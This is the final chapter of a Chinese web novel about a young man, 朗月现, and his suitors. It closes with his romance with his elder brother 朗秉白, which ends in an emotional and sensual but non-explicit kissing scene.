程澈稳住表情,只不过笑的颇有些勉强:“还在重症监护室,医生说,醒过来的可能性不算很大。” 其实搜救队来得比预想中快很多,那天宋煜被捞上来也还算及时,可到现在人都没有苏醒的迹象。 保温杯里的温水晃出细小波纹,朗月现看着杯壁上映出自己晃动的倒影,他突然想起坠河瞬间宋煜那个解脱般的笑。 宋煜的父母前不久来了一次,听说宋煜出事时岸上围着的都是首都有头有脸的公子哥,他们本来打定主意想讹些钱,在警局抹着眼泪要说法,却被警察告知是他们儿子故意伤人未遂在先,是当事人不予追究才逃过刑事追究,但之后的赔偿各方面还需要肇事者亲属和当事人律师详谈。 连等到晚上都来不及,那对奇葩父母几乎是三个小时之内坐车离开了首都。 “他父母今早退了探病买的鲜花。”程澈突然轻笑,指尖无意识抠着课桌裂缝,“说是要回老家给祖宗上香。”程澈手中的笔被掰动着发出脆响,“不过你放心,护工三班倒盯着。” 现在宋煜住院的所有开销都由朗氏负责,是朗月现亲自签的单子。周闻铮听说后气的整整半个小时没理朗月现,把健身房的沙袋打得砰砰响。 憋到最后才过去哼唧着说自己现在已经不太生气了,但还是有点不爽,希望月月能哄他一会儿。给朗月现说的一头雾水。 “你生什么气?” 朗月现自从搬回老宅住后,市中心那套顶层公寓快成周闻铮第二个窝了。周闻铮此刻正偷躺在朗月现的床上,双腿紧紧夹着朗月现的被子,盖过鼻尖,把脸埋进蓬松的羽绒枕,一边闻朗月现残留的味道,一边给他回信息。 “你图什么啊?那混蛋差点害死你。他当时……” 周闻铮喉结上下滚动,攥着手机的手指关节紧的发白。发出去的语音戛然而止,拇指悬在删除键上抖得厉害。汗水顺着鬓角滑进睡衣领口,他这才发现掌心的汗全蹭在了手机屏幕上。 心脏在肋骨后面撞得比拳击训练时还凶,周闻铮胡乱抹了把脸,他想起那晚朗月现被揪住衣领差点带下去的场景,后槽牙咬得太阳穴突突直跳。 “操!” 周闻铮挥拳狠狠砸在了床头的墙上,他慢慢俯下身,把发烫的额头抵在冰凉的墙面上。 朗月现摩挲着手机,那晚宋煜被雨水浸透的瞳孔中,有种飞蛾扑火般的决绝让他心惊。这种近乎自毁的执念,把朗月现贫瘠了近二十年的冷漠情感冲击到了,以至于他对普通人产生的那种过分强烈的情感产生了强烈的求知欲。 他说不清楚,便懒得跟周闻铮掰扯,一句关你屁事结束了对话。 朗月现多少也明白程澈对宋煜的敌意不是三言两语能化解的,便不再继续这个话题。掌心贴着男人结实的肩膀轻拍两下:“帮忙盯着他死活就好。”说完拎起搭在椅背上的外套往门口走。 走到后门时,朗月现鬼使神差回头。程澈还站在原地,阳光从窗外斜射进来,把他影子拉得很长,堪堪够到朗月现的鞋尖,单手撑着课桌的姿势像被抽了脊梁。 仿佛被主人抛弃了的流浪狗一般垂头丧气。 朗月现看了两秒,突然折返,掌心抵住他绷紧的脊梁上,稍微用了点力气,把他弯下去的腰又撑了起来。 “抬头。” 走廊传来篮球砸地的闷响,程澈转过头看着他,突然抓住他将要缩回的手腕:“明天实验课…”喉结动了动,“帮你带早餐好吗?” 阳光把两人影子叠在教室后墙的荣誉榜上,那里还贴着朗月现和程澈竞赛获奖的合照。朗月现抽回手时,指尖划过他腕间突起的青筋。 “明天见。” 窗外风吹过树叶的声音突然聒噪起来,程澈盯着自己手腕发怔,那里还留着朗月现指尖的一丝凉意。 —— 走出教室转过走廊拐角,迎面撞上了正往排练厅走去的盛衍。斑驳树影透过玻璃窗落在两人之间,他们的脚步同时顿了顿,鞋底与瓷砖地面摩擦出短促的声响。 朗月现没想到盛衍那天在车上那句“我想正式追求你”不是心血来潮。唐临晖居然真的带着外甥拜访朗家,西装革履地坐在客厅里,端着青瓷茶盏说要商量两个孩子的婚事。 朗父盯着茶汤里沉沉浮浮的茶叶,整张脸皱成了晒干的苦瓜皮。他心心念念的是儿子带个温婉可人的儿媳回家,结果眼前这一个两个找上门来的,虽然样貌确实都出挑得过分,可这性别……朗父偷瞄着对面容貌昳丽的青年,心里滋味十分难言,握着紫砂壶的手微微发抖。 朗月现回家时正撞上这场闹剧。朗秉白原本在书房处理文件,听到动静立刻冲了出来。他站在会客室角落,看着唐临晖侃侃而谈的模样,指节攥得发白,呼吸声重得任谁都能看出他不对劲的状态。 就在他快要掀翻雕花木几的瞬间,一双微凉的手覆在他青筋暴起的手背上。 “哥,喝些茶。”朗月现安抚地拍了拍兄长的手,转头对唐临晖扬起恰到好处的微笑:* “唐叔,承蒙厚爱,不过我对您外甥确实没有这方面的意思。”他边说边用指尖轻叩茶案,戒指和檀木相击发出清脆声响。 唐临晖和盛衍脸上如出一辙公式化的笑容骤然凝固。唐临晖刚要开口,却见朗月现慢条斯理地垂下头捏了捏眉心,再抬眼时眸中已凝了层薄霜:“今天还能心平气和与您说话,全看在两家以往的交情上。”话音刚落,他唇角又挂上那抹不以为然的淡然弧度,“若是再提此事……” 在明确拒绝了盛衍之后,这还是两个人第一次当面遇见。 此刻走廊穿堂风掠过,两个人的衬衫领口被吹得轻轻翻动。 其实那晚看到盛衍倒在血泊里的瞬间,朗月现不是没有过片刻恍惚。只是那种心口的震动比起朗秉白红着眼眶,无比痛苦的对自己说“哥只求你好好的”时,心里滑过的刺痛感,终究是不一样的。 盛衍此刻又恢复了初遇时的模样。熨烫妥帖的衬衫黑裤,脸上挂着挑不出错的笑容,完美无瑕的翩翩公子的模样。 朗月现看着他,突然也低下头笑了笑。 盛衍看着他笑,便随他也笑着开口,声音非常温柔:“现在呢?是不是,没有那么假了?” 朗月现低头轻笑,睫毛在眼下投出小片阴影,赞同的点了点头:“嗯,确实顺眼多了。” 擦肩而过时,他没有停下脚步,只是在经过盛衍时拍了拍他的肩膀,指尖在挺括的衬衫面料上轻轻一勾,语气玩味却又带着点熟稔:“加油,就快成功了,匹诺曹。” 盛衍站在原地目送那道高挑修长的背影消失在楼梯转角。阳光渐渐西斜,将他笔挺的身影拉成长长的暗影。 喉结滚动数次,最终只溢出句轻不可闻的呢喃:“等我把牵线都挣断了你会回头看我一眼吗?” —— 机车引擎声在车库停下,朗月现把头盔扔给迎上来的管家,扯开领口往二楼走。今天只有一上午的课,结束得早,朗父朗母恰巧都不在家。 推开门的瞬间,屋内清晰又熟悉的雪松香扑面而来,朗月现刚到家便直面让他这段时间感到异常烦躁的罪魁祸首。 落地窗帘微微晃动,朗秉白正蜷在他的鹅绒被中,鼻尖埋在他今早换下来的丝质睡衣里,专注到对朗月现的开门声都恍若未闻。 朗月现斜倚着门框,似笑非笑的看着他哥:“这是在做什么?” 朗月现的骤然出声吓了朗秉白浑身一震,他猛地抬头,看着弟弟正好整以暇的站在门边看着他。 朗秉白赶紧从床上坐了起来,像干坏事被人抓包了一样,面色瞬间赤红,手足无措起来。 他慌乱的掀开被子下床,拖鞋不知道踢到哪个角落,光着脚在地毯上踩出凌乱痕迹,平日里这么稳重的人此刻慌乱到不知所措,耳尖红得能滴血。 “小月……哥,哥不是有意的……”等他终于把自己整理好站起来,朗月现也走到了他身前,微仰着头看着他,嘴角还挂着戏谑的笑。 “不是有意的?” 朗月现勾着唇,慢悠悠的调笑道:“是有人绑着你到我床上来的?” 朗秉白被逼到飘窗边沿,喉结重重滚动了两下,他看着近在咫尺的脸,弟弟身上的玫瑰香混着体温蒸腾上来。 刚刚搂着他的睡衣嗅闻时,脑海中不受控制胡思乱想的那些不堪颓靡的事突然又涌了上来。 朗秉白涨得面色通红,结结巴巴的解释道,“最近总失眠,想着来你这儿……能睡得安稳些。” “闻着弟弟的睡衣就能睡着?”朗月现从鼻腔里哼笑一声,又逼近一步:“为什么?哥现在连装都懒得装了?” 朗秉白听了这句话,脑海中轰的一声炸开了,他觉得自己在弟弟面前有点控制不住生/理反应了,他怕被朗月现发现,咬紧了牙关,往后挪了一步,稍稍拉远了距离。 就这小小一步,被朗月现精准的捕捉到了,他猛地皱了皱眉,心情一瞬间变差。 自那夜护城河边生死边缘的剖白后,朗秉白落着泪说自己愿意退到哥哥的位置,永远守护他之后,仿佛又成了最恪守规矩的模范兄长,老老实实又重新当起了他的三好哥哥。 无微不至的照顾,体贴入微的关心,连敲门都要等上几秒,完美复刻他们戳破那层窗户纸之前的相处模式。 可朗月现却莫名觉得非常不爽。 他将这种不爽归结于,他明明决定要从朗秉白身上去仔细感受那些他前十几年从未有过的特殊情感,可这家伙却突然打了退堂鼓。 最可恨是每次靠近时,这人明明呼吸都乱了,偏要装出正人君子的模样,面红耳赤还要强忍着躲开两人间的触碰。 就像现在,明明眼底暗潮翻涌,还要强行移开目光不与自己对视。 是他没表达清楚吗?不是!那天晚上他都把朗秉白的手放在自己脸上了,还说了一起回家吧,这么清晰明了的暗示他都看不明白吗?! 原来还敢按着自己强吻,这回连靠近都格外小心翼翼了。 这次装得倒是像个人了! 朗月现气的走到床边,将换下来的睡衣一把扔向了朗秉白 “出去!” 原本还面色沉静八风不动的朗秉白,被睡衣砸在脸上的时候,浑身突然猛地一抖。 朗秉白掌心死死攥着那团布料,难耐的背过身去,声音突然哑的厉害:“……哥给你洗。” 朗月现板着脸,让他哥快走,看着就烦。 听到楼下打翻玻璃杯的脆响,朗月现泄气般倒在还带着余温的被褥中。枕头上残留的雪松气味缠上来,惹得他烦躁的抬脚踹飞了床头柜立着的玩偶。 * 朗秉白心里隐约觉得有点不对劲,他对弟弟突如其来的小脾气有点心虚和不安,毕竟大言不惭说了要做哥哥的人却堂而皇之的躺在弟弟床上做那些龌龊事,任谁都会觉得这人太过无耻。 他在走廊里来回踱了六七趟,拖鞋底都快磨出火星子了。内心纠结半天,朗秉白还是推开了弟弟的房门,想要再好好解释解释,哄哄小孩。 朗秉白进房间的时候,朗月现刚好洗完澡,蒸腾的水汽混着玫瑰花香扑面而来,朗月现头上顶着毛巾走了出来,发梢水珠滴在锁骨凹陷处,在暖光灯下闪着细碎的光。 他抬眼看了朗秉白一眼,接着转开了眼神,就像没看见这个人一样,面无表情的径直路过了他。冰箱门“砰”地弹开,朗月现走到一边,打开冰箱拿出一罐冰啤酒,拨开拉环,碳酸气泡在铝罐里咕噜作响。 全程没有给朗秉白一个眼神。 朗秉白:坏了,真生气了。 朗秉白脑子里还在飞速旋转想着要怎么哄才好,身体已经条件反射的动了起来,熟稔的伸出手想给朗月现擦头发。 朗月现却往后稍稍一挪,躲开了。 朗秉白的手僵在了半空中,失神了一般怔愣在那里。 紧接着意识到刚刚弟弟刻意躲开他后,胸口瞬间闷得透不过气,每一次呼吸都带着刺痛。 朗月现余光瞟着愣在原地的朗秉白,他借着举起啤酒罐的姿势偏过头,嘴角暗暗翘起一个转瞬即逝的弧度。 朗秉白的眼神里的光都消失不见了,他的脸色都变得煞白,可下一刻的反应却完全出乎了朗月现的预料。 朗秉白半响悬空的手认命一般的狼狈垂下,垂着头没说话,潮湿的眼睫遮住了眼底神色,脸上的表情慢慢消失,整个人看起来是那么颓丧萎靡。 他抬起脸,想挤出一个笑容,却并没有成功。他只能假装自己在笑,说话的嘴唇都在颤抖:“那……那小月也要擦干头发再睡……” “哥就先走了……” 朗月现:“?” 看着朗秉白动作缓慢麻木却依旧摇晃着要转身离开的身影,朗月现终于出离愤怒了。 他声音冷冷的传入朗秉白耳中,恍若一道晴天霹雳:“朗秉白,你再敢走一步,以后就再也不要让我看见你。” 朗秉白猛地转过身,神情痛苦,呼吸急促。 他眼角泛着红,祈求般望向弟弟,眼里全是委屈,嘴唇微微颤抖,像是有千言万语被堵在了喉咙口。 朗月现被他这么看着,提起的那口气直接堵在了嗓子眼。他暗骂一声,大步走过去,直接揪住朗秉白的衣领往下用力一扯。 嘴唇相触时,朗秉白听见他弟弟启开的双唇中愤愤地含糊不清的骂了一句:“混球朗秉白……” 接下来还说了什么,朗秉白就完全听不见了。 身体比大脑反应要更快,朗秉白还在试图理解这一切时,手臂已经扣住了弟弟的腰,将人牢牢锁在怀中,舌尖顺着那启开的红唇,急促的探了进去。 朗月现刚仰起脸就被滚烫的掌心按住了后颈。温热的鼻息扑在皮肤上,舌头顶进来的太急,嘴唇被碾得发麻。 朗秉白咬住他下唇的力道像要把人整个吞下去,舌尖卷着来不及咽下的唾液往喉咙里顶。身体被朗秉白滚烫的手牢牢的搂住,后腰被勒得发痛,朗月现手指死死揪住他汗湿的衣领,呼吸被搅得稀碎。 没有错,是和其他人接吻都不一样的感觉,朗月现体验到了神奇的,心脏加速的过程。 朗秉白像是终于逮到机会的饿狼,一刻不停的深吻着他,朗月现被他吻到膝盖软得快要跪下去,心跳撞得肋骨生疼,脑子嗡嗡响,什么也想不了。 呼吸全乱了套。心跳声大得吓人,分不清是谁的胸腔在震。分开时扯出银丝,嘴角还火辣辣地疼,可刚喘两口气又被朗秉白用拇指蹭着下巴掰过去,睫毛扫在脸颊上痒得直哆嗦。 朗月现被他哥凶狠的吻得身体都在发颤, 缺氧了也不管,吞咽声混着水渍响在耳根。后腰被勒得发痛,睡衣下摆掀开半截,凉飕飕的皮肤和滚烫手掌形成温差。 朗月现甚至觉得自己这么快的心跳跟心里涌起的那股陌生的感情没什么关系,纯粹是因为被他哥亲到缺氧了。 朗秉白忽然托着臀把人抱起来,膝盖卡进腿间时朗月现喉咙里溢出声呜咽,这声呜咽直接把朗秉白听疯了,他抱着弟弟往床边走去,仰头时睫毛扫过朗月现发红的耳骨。 把弟弟放在床上后,朗秉白又迫不及待的探头过去,被忍无可忍的朗月现一巴掌把脸扇到一边。 床垫随着两人的动作微微下陷,朗月现躺在床上,手肘支起上半身喘气,本来是怒视,可因为眼角溢着缺氧憋出来的生理性眼泪,挂着水汽的睫毛扑簌簌颤动,看的朗秉白本就高涨起来的位置更是跳的发疼。 “……有完没完!” 朗秉白不敢相信眼前这一幕,被弟弟打了一巴掌之后他开心的简直要疯了。 他看着弟弟发红的掌心,喉结滚动着探头去蹭,“再打一下好不好?”他巴不得朗月现马上再给他来一下,清楚的告诉他这不是他过于美好荒诞的梦境,“让我知道不是在做梦。” “有病……”尾音再次被吞进灼热的亲吻里,朗月现抬脚要踹,脚踝却被攥住往人腰上缠。朗秉白犬齿叼着他耳垂含糊呢喃:“宝宝……宝宝。” 滚烫的呼吸钻进耳蜗,朗秉白控制不住自己,他将朗月现困在自己怀里,压上去把脸埋在他颈窝里深嗅。 “宝宝,这是真的吗……你告诉我…”朗秉白用唇轻轻啄吻着朗月现裸露的皮肤,嘴里不停喃喃说着,“这是真的对吗?宝宝…你再亲亲我……” 朗月现被亲的一股麻痒从尾椎直冲头皮,一阵阵往上顶,他突然弓起腰背,喉结难耐的滚动了两下,被朗秉白注意到,立刻转换目标开始舔舐他的喉结。 湿漉漉的吻顺着脖颈往下滑,朗月现忍无可忍,支起膝盖将这个无法自控的家伙从自己身上顶开些许。 朗秉白被顶开的下一秒,一滴眼泪便落在了朗月现的鼻梁上。 朗月现一愣,抬头看去,朗秉白已经满脸泪水了。 朗秉白的声音一直很好听,对朗月现说话时总是柔和又有厚度,此刻裹上些鼻音,那种话语里的深情几乎要满溢出来将朗月现淹没。 “小月,哥爱你。”带着浓重爱意的呼唤震得胸口发麻:“哥真的……真的好爱你。” 朗月现静静的看着他,没接这句话,只是伸手揉了揉他哥的耳垂。 “户口移出去了吗?” 朗秉白闻言一愣,接着便笑了。 朗月现也笑了,两人离得很近,鼻腔发出的轻笑混杂着雪松和玫瑰的后调,就像周边的空气开始膨胀加热,一阵阵地向上顶,使人头皮发麻,耳廓发烫。 “嗯。” 朗月现说话时尾音音调微扬着,带着一点点吊儿郎当的散漫,显得松松懒懒的。嗓音低低缠上来,撩拨得朗秉白心跳加速,震得肋骨都发疼。 在朗秉白实在忍耐不住又俯下身去吻那双红唇时,他听见了弟弟声音很小的那句答应。 “好。” “你可以不是我哥哥。” 窗外传来庭院中下栖息的鸟雀飞过的声音,它们扑棱着翅膀掠过了月亮。 廊下檐角的灯光在庭院中的水面碎成金箔,月光却透过窗户完完整整的落了下来,像块透亮的琥珀,如同锁住一千只蝴蝶的骸骨一样,也把纠缠依偎着的两个人完整的裹了进去。 那是一生只有一个的盛大春天,朗秉白知道,他将有幸用以后的每个春天去描摹那轮月亮。 身体渐渐陷入那柔软的热意,张开双臂时竟觉得浑身发烫,这一刻他们的吻像轰鸣而至的月相。 月光终于铺了满身。 正文完